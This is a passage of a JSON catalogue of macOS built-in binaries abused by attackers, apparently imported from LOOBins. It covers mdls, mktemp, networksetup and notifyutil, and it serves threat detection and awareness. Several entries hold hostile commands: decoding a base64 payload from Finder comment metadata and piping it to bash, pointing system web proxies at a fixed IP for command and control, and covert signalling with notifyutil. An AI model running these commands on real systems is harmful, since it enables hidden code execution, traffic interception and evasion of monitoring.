         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/mdls.yml",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:mdls:c7bc602e81ff2077",
       "toolId": "loobins:mdls",
       "toolName": "mdls",
       "name": "Extract and execute payload stored in Finder comment metadata",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution",
         "Collection",
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Execution",
         "Collection",
         "Defense Evasion"
       ],
       "command": "mdls -name kMDItemFinderComment -raw ~/Desktop/payload_carrier.txt | base64 -D | bash",
       "description": "Every file on macOS has a Finder comment field stored as Spotlight metadata under the kMDItemFinderComment attribute. mdls can read this field and pipe its contents to a decoder and executor. Because the payload lives entirely in Spotlight metadata rather than file contents, it is not visible to file-based inspection or integrity monitoring tools. Finder comments can be written remotely via osascript over Remote Apple Events or SSH, making this a covert staging mechanism for lateral movement payloads.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/mdls"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/mdls.yml",
         "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
       ]
     },
     {
       "id": "loobins:mktemp:8ae26ff6d9e798ad",
       "toolId": "loobins:mktemp",
       "toolName": "mktemp",
       "name": "Generate payload directory (Shlayer)",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "export tmpDir=\"$(mktemp -d /tmp/XXXXXXXXXXXX)\"",
       "description": "The following command can be used to generate a random directory name for staging payloads",
       "mitre": [],
       "fullPath": [
         "/usr/bin/mktemp"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/mktemp.yml",
         "https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/",
         "https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
       ]
     },
     {
       "id": "loobins:mktemp:adcbf3c728bcf6f7",
       "toolId": "loobins:mktemp",
       "toolName": "mktemp",
       "name": "Generate directory based on template file (Bundlore)",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Defense Evasion"
       ],
       "command": "TMP_DIR=\"mktemp -d -t x\"",
       "description": "The following command can be used to generate a unique directory based on a template",
       "mitre": [],
       "fullPath": [
         "/usr/bin/mktemp"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/mktemp.yml",
         "https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/",
         "https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
       ]
     },
     {
       "id": "loobins:networksetup:41bd049d11be4aa4",
       "toolId": "loobins:networksetup",
       "toolName": "networksetup",
       "name": "network device enumeration",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "networksetup -listnetworkserviceorder",
       "description": "Use networksetup to display services with corresponding port and device in order they are tried for connecting to a network.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/networksetup"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/networksetup.yml",
         "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf",
         "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be",
         "https://objective-see.org/blog/blog_0x25.html",
         "https://objective-see.org/blog/blog_0x26.html",
         "https://objective-see.org/blog/blog_0x6D.html",
         "https://objective-see.org/blog/blog_0x3C.html",
         "https://objective-see.org/blog/blog_0x6E.html"
       ]
     },
     {
       "id": "loobins:networksetup:f68761716a8e9334",
       "toolId": "loobins:networksetup",
       "toolName": "networksetup",
       "name": "Detect connected network hardware",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "networksetup -detectnewhardware",
       "description": "Use networksetup to detect new network hardware and create a default network service on the hardware.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/networksetup"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/networksetup.yml",
         "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf",
         "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be",
         "https://objective-see.org/blog/blog_0x25.html",
         "https://objective-see.org/blog/blog_0x26.html",
         "https://objective-see.org/blog/blog_0x6D.html",
         "https://objective-see.org/blog/blog_0x3C.html",
         "https://objective-see.org/blog/blog_0x6E.html"
       ]
     },
     {
       "id": "loobins:networksetup:fd6b13ad5483ff20",
       "toolId": "loobins:networksetup",
       "toolName": "networksetup",
       "name": "network device enumeration",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "networksetup -listallhardwareports",
       "description": "Use networksetup to list all network interfaces, providing name, device name, MAC address.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/networksetup"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/networksetup.yml",
         "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf",
         "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be",
         "https://objective-see.org/blog/blog_0x25.html",
         "https://objective-see.org/blog/blog_0x26.html",
         "https://objective-see.org/blog/blog_0x6D.html",
         "https://objective-see.org/blog/blog_0x3C.html",
         "https://objective-see.org/blog/blog_0x6E.html"
       ]
     },
     {
       "id": "loobins:networksetup:168eb6a8aa332846",
       "toolId": "loobins:networksetup",
       "toolName": "networksetup",
       "name": "network device enumeration",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "networksetup -listallnetworkservices",
       "description": "Use networksetup to list all network interface names.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/networksetup"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/networksetup.yml",
         "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf",
         "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be",
         "https://objective-see.org/blog/blog_0x25.html",
         "https://objective-see.org/blog/blog_0x26.html",
         "https://objective-see.org/blog/blog_0x6D.html",
         "https://objective-see.org/blog/blog_0x3C.html",
         "https://objective-see.org/blog/blog_0x6E.html"
       ]
     },
     {
       "id": "loobins:networksetup:5dbb2383ccf4021d",
       "toolId": "loobins:networksetup",
       "toolName": "networksetup",
       "name": "DNS server enumeration",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "networksetup -getdnsservers Wi-Fi",
       "description": "Use networksetup to get configured DNS servers for a specific interface.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/networksetup"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/networksetup.yml",
         "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf",
         "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be",
         "https://objective-see.org/blog/blog_0x25.html",
         "https://objective-see.org/blog/blog_0x26.html",
         "https://objective-see.org/blog/blog_0x6D.html",
         "https://objective-see.org/blog/blog_0x3C.html",
         "https://objective-see.org/blog/blog_0x6E.html"
       ]
     },
     {
       "id": "loobins:networksetup:7fbf514f694271c4",
       "toolId": "loobins:networksetup",
       "toolName": "networksetup",
       "name": "Enumerate configured web proxy URL for an interface",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "networksetup -getautoproxyurl \"Thunderbolt Ethernet\"",
       "description": "Displays web proxy auto-configuration information for the specified interface.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/networksetup"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/networksetup.yml",
         "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf",
         "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be",
         "https://objective-see.org/blog/blog_0x25.html",
         "https://objective-see.org/blog/blog_0x26.html",
         "https://objective-see.org/blog/blog_0x6D.html",
         "https://objective-see.org/blog/blog_0x3C.html",
         "https://objective-see.org/blog/blog_0x6E.html"
       ]
     },
     {
       "id": "loobins:networksetup:e8c626b275630b8f",
       "toolId": "loobins:networksetup",
       "toolName": "networksetup",
       "name": "Enumerate configured web proxy for an interface",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "networksetup -getwebproxy \"Wi-Fi\"",
       "description": "Displays standard web proxy information for the specified interface.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/networksetup"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/networksetup.yml",
         "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf",
         "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be",
         "https://objective-see.org/blog/blog_0x25.html",
         "https://objective-see.org/blog/blog_0x26.html",
         "https://objective-see.org/blog/blog_0x6D.html",
         "https://objective-see.org/blog/blog_0x3C.html",
         "https://objective-see.org/blog/blog_0x6E.html"
       ]
     },
     {
       "id": "loobins:networksetup:f00af425358c2200",
       "toolId": "loobins:networksetup",
       "toolName": "networksetup",
       "name": "Set the https web proxy for an interface",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [],
       "nativeCategory": [
         "Command and Control"
       ],
       "command": "networksetup -setsecurewebproxy \"Wi-Fi\" 46.226.108.171",
       "description": "Use networksetup to set the https web proxy for an interface.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/networksetup"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/networksetup.yml",
         "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf",
         "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be",
         "https://objective-see.org/blog/blog_0x25.html",
         "https://objective-see.org/blog/blog_0x26.html",
         "https://objective-see.org/blog/blog_0x6D.html",
         "https://objective-see.org/blog/blog_0x3C.html",
         "https://objective-see.org/blog/blog_0x6E.html"
       ]
     },
     {
       "id": "loobins:networksetup:7010ec9c106f3c12",
       "toolId": "loobins:networksetup",
       "toolName": "networksetup",
       "name": "Set the http web proxy for an interface",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [],
       "nativeCategory": [
         "Command and Control"
       ],
       "command": "networksetup -setwebproxy \"Wi-Fi\" 46.226.108.171",
       "description": "Use networksetup to set the http web proxy for an interface.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/networksetup"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/networksetup.yml",
         "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf",
         "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be",
         "https://objective-see.org/blog/blog_0x25.html",
         "https://objective-see.org/blog/blog_0x26.html",
         "https://objective-see.org/blog/blog_0x6D.html",
         "https://objective-see.org/blog/blog_0x3C.html",
         "https://objective-see.org/blog/blog_0x6E.html"
       ]
     },
     {
       "id": "loobins:networksetup:4a75ab18d02eb5be",
       "toolId": "loobins:networksetup",
       "toolName": "networksetup",
       "name": "Set auto proxy URL for an interface",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [],
       "nativeCategory": [
         "Command and Control"
       ],
       "command": "networksetup -setautoproxyurl \"Wi-Fi\" $autoProxyURL",
       "description": "Use networksetup to set the proxy URL for an interface.",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/networksetup"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/networksetup.yml",
         "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf",
         "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be",
         "https://objective-see.org/blog/blog_0x25.html",
         "https://objective-see.org/blog/blog_0x26.html",
         "https://objective-see.org/blog/blog_0x6D.html",
         "https://objective-see.org/blog/blog_0x3C.html",
         "https://objective-see.org/blog/blog_0x6E.html"
       ]
     },
     {
       "id": "loobins:networksetup:0365fc892ea9ebd8",
       "toolId": "loobins:networksetup",
       "toolName": "networksetup",
       "name": "Enable auto proxy state",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [],
       "nativeCategory": [
         "Command and Control"
       ],
       "command": "networksetup -setautoproxystate \"Wi-Fi\" on",
       "description": "Use networksetup to enable the proxy auto-config",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/networksetup"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/networksetup.yml",
         "https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf",
         "https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be",
         "https://objective-see.org/blog/blog_0x25.html",
         "https://objective-see.org/blog/blog_0x26.html",
         "https://objective-see.org/blog/blog_0x6D.html",
         "https://objective-see.org/blog/blog_0x3C.html",
         "https://objective-see.org/blog/blog_0x6E.html"
       ]
     },
     {
       "id": "loobins:notifyutil:a49f967a5200e4d3",
       "toolId": "loobins:notifyutil",
       "toolName": "notifyutil",
       "name": "Monitor system events for reconnaissance",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery",
         "Collection"
       ],
       "nativeCategory": [
         "Discovery",
         "Collection"
       ],
       "command": "notifyutil -w com.apple.screenIsLocked",
       "description": "An attacker can register for system notification keys to detect when the user locks their screen, changes network state, or other system events without using more easily detected APIs. The following example monitors for screen lock events.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/notifyutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Monitor notifyutil execution with suspicious notification keys",
           "value": "Monitor notifyutil execution with suspicious notification keys"
         },
         {
           "type": "Detect notifyutil monitoring non-standard or custom notification keys (keys not starting with com.apple)",
           "value": "Detect notifyutil monitoring non-standard or custom notification keys (keys not starting with com.apple)"
         },
         {
           "type": "Monitor long-running notifyutil processes (using -w flag for sustained monitoring)",
           "value": "Monitor long-running notifyutil processes (using -w flag for sustained monitoring)"
         },
         {
           "type": "Detect notifyutil usage in conjunction with known malware indicators or suspicious parent processes",
           "value": "Detect notifyutil usage in conjunction with known malware indicators or suspicious parent processes"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/notifyutil.yml",
         "https://brettterpstra.com/2012/07/04/quick-tip-system-wide-notifications-with-notifyutil/",
         "https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/MacOSXNotifcationOv/DarwinNotificationConcepts/DarwinNotificationConcepts.html",
         "https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/notify.3.html"
       ]
     },
     {
       "id": "loobins:notifyutil:891e0dc874fbdd11",
       "toolId": "loobins:notifyutil",
       "toolName": "notifyutil",
       "name": "Establish covert inter-process communication channel",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Defense Evasion"
       ],
       "nativeCategory": [
         "Command and Control",
         "Defense Evasion"
       ],
       "command": "# Sender process\nnotifyutil -p com.example.hidden.channel -s com.example.hidden.channel 1337\n\n# Receiver process in another terminal/process\nnotifyutil -1 com.example.hidden.channel -g com.example.hidden.channel",
       "description": "Threat actors can use Darwin notifications as a covert IPC mechanism to coordinate between malicious processes. By posting and monitoring custom notification keys with associated state values, malware components can exchange commands and data without using traditional IPC methods that may be monitored.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/notifyutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Monitor notifyutil execution with suspicious notification keys",
           "value": "Monitor notifyutil execution with suspicious notification keys"
         },
         {
           "type": "Detect notifyutil monitoring non-standard or custom notification keys (keys not starting with com.apple)",
           "value": "Detect notifyutil monitoring non-standard or custom notification keys (keys not starting with com.apple)"
         },
         {
           "type": "Monitor long-running notifyutil processes (using -w flag for sustained monitoring)",
           "value": "Monitor long-running notifyutil processes (using -w flag for sustained monitoring)"
         },
         {
           "type": "Detect notifyutil usage in conjunction with known malware indicators or suspicious parent processes",
           "value": "Detect notifyutil usage in conjunction with known malware indicators or suspicious parent processes"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/notifyutil.yml",
         "https://brettterpstra.com/2012/07/04/quick-tip-system-wide-notifications-with-notifyutil/",
         "https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/MacOSXNotifcationOv/DarwinNotificationConcepts/DarwinNotificationConcepts.html",
         "https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/notify.3.html"
       ]
     },
     {
       "id": "loobins:notifyutil:45163e0090184fa4",
       "toolId": "loobins:notifyutil",
       "toolName": "notifyutil",
       "name": "Monitor network state changes for data exfiltration timing",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery",
         "Collection"
       ],
       "nativeCategory": [
         "Discovery",
         "Collection"
       ],
       "command": "notifyutil -w com.apple.system.config.network_change",
       "description": "An attacker can monitor for network configuration changes to determine optimal timing for data exfiltration. This allows malware to detect when the system connects to networks and adjust behavior accordingly.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/notifyutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Monitor notifyutil execution with suspicious notification keys",
           "value": "Monitor notifyutil execution with suspicious notification keys"
         },
         {
           "type": "Detect notifyutil monitoring non-standard or custom notification keys (keys not starting with com.apple)",
           "value": "Detect notifyutil monitoring non-standard or custom notification keys (keys not starting with com.apple)"
         },
         {
           "type": "Monitor long-running notifyutil processes (using -w flag for sustained monitoring)",
           "value": "Monitor long-running notifyutil processes (using -w flag for sustained monitoring)"
         },
         {
           "type": "Detect notifyutil usage in conjunction with known malware indicators or suspicious parent processes",
           "value": "Detect notifyutil usage in conjunction with known malware indicators or suspicious parent processes"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/notifyutil.yml",
         "https://brettterpstra.com/2012/07/04/quick-tip-system-wide-notifications-with-notifyutil/",
         "https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/MacOSXNotifcationOv/DarwinNotificationConcepts/DarwinNotificationConcepts.html",
         "https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/notify.3.html"
       ]
     },
     {
       "id": "loobins:notifyutil:687e08d3b386a66e",
       "toolId": "loobins:notifyutil",
       "toolName": "notifyutil",
       "name": "Monitor timezone changes for geolocation tracking",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Collection",
         "Discovery"
       ],
       "nativeCategory": [
         "Collection",
         "Discovery"
       ],
       "command": "notifyutil -w com.apple.system.timezone",
       "description": "Monitoring timezone change notifications can help an attacker track when a target device moves between geographic locations or when users travel, providing intelligence about the target's physical location and movement patterns.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/notifyutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Monitor notifyutil execution with suspicious notification keys",
           "value": "Monitor notifyutil execution with suspicious notification keys"
         },
         {
           "type": "Detect notifyutil monitoring non-standard or custom notification keys (keys not starting with com.apple)",
           "value": "Detect notifyutil monitoring non-standard or custom notification keys (keys not starting with com.apple)"
         },
         {
           "type": "Monitor long-running notifyutil processes (using -w flag for sustained monitoring)",
           "value": "Monitor long-running notifyutil processes (using -w flag for sustained monitoring)"
         },
         {
           "type": "Detect notifyutil usage in conjunction with known malware indicators or suspicious parent processes",
           "value": "Detect notifyutil usage in conjunction with known malware indicators or suspicious parent processes"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/notifyutil.yml",
         "https://brettterpstra.com/2012/07/04/quick-tip-system-wide-notifications-with-notifyutil/",
         "https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/MacOSXNotifcationOv/DarwinNotificationConcepts/DarwinNotificationConcepts.html",
         "https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/notify.3.html"
       ]
     },
     {
       "id": "loobins:notifyutil:c44dbcefe0e67951",
       "toolId": "loobins:notifyutil",
       "toolName": "notifyutil",
       "name": "Monitor login/logout events for privilege escalation timing",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery",
         "Privilege Escalation"
       ],
       "nativeCategory": [
         "Discovery",
         "Privilege Escalation"
       ],
       "command": "notifyutil -w com.apple.loginwindow.logout -w com.apple.springboard.attemptactivationend",
       "description": "By monitoring authentication-related notification keys, an attacker can detect login and logout events to time privilege escalation attempts or other malicious activities when defenses may be weakened during authentication transitions.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/notifyutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Monitor notifyutil execution with suspicious notification keys",
           "value": "Monitor notifyutil execution with suspicious notification keys"
         },
         {
           "type": "Detect notifyutil monitoring non-standard or custom notification keys (keys not starting with com.apple)",
           "value": "Detect notifyutil monitoring non-standard or custom notification keys (keys not starting with com.apple)"
         },
         {
           "type": "Monitor long-running notifyutil processes (using -w flag for sustained monitoring)",
           "value": "Monitor long-running notifyutil processes (using -w flag for sustained monitoring)"
         },
         {
           "type": "Detect notifyutil usage in conjunction with known malware indicators or suspicious parent processes",
           "value": "Detect notifyutil usage in conjunction with known malware indicators or suspicious parent processes"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/notifyutil.yml",
         "https://brettterpstra.com/2012/07/04/quick-tip-system-wide-notifications-with-notifyutil/",
         "https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/MacOSXNotifcationOv/DarwinNotificationConcepts/DarwinNotificationConcepts.html",
         "https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/notify.3.html"
       ]
     },
     {
       "id": "loobins:notifyutil:1b0af23ae08ae744",
       "toolId": "loobins:notifyutil",
       "toolName": "notifyutil",
       "name": "Query system notification state values for reconnaissance",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "notifyutil -g com.apple.system.timezone\nnotifyutil -g com.apple.loginwindow.logout\nnotifyutil -g com.apple.screenIsLocked",
       "description": "Threat actors can query state values of system notification keys to gather information about the current system configuration without executing more suspicious commands.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/notifyutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Monitor notifyutil execution with suspicious notification keys",
           "value": "Monitor notifyutil execution with suspicious notification keys"
         },
         {
           "type": "Detect notifyutil monitoring non-standard or custom notification keys (keys not starting with com.apple)",
           "value": "Detect notifyutil monitoring non-standard or custom notification keys (keys not starting with com.apple)"
         },
         {
           "type": "Monitor long-running notifyutil processes (using -w flag for sustained monitoring)",
           "value": "Monitor long-running notifyutil processes (using -w flag for sustained monitoring)"
         },
         {
           "type": "Detect notifyutil usage in conjunction with known malware indicators or suspicious parent processes",
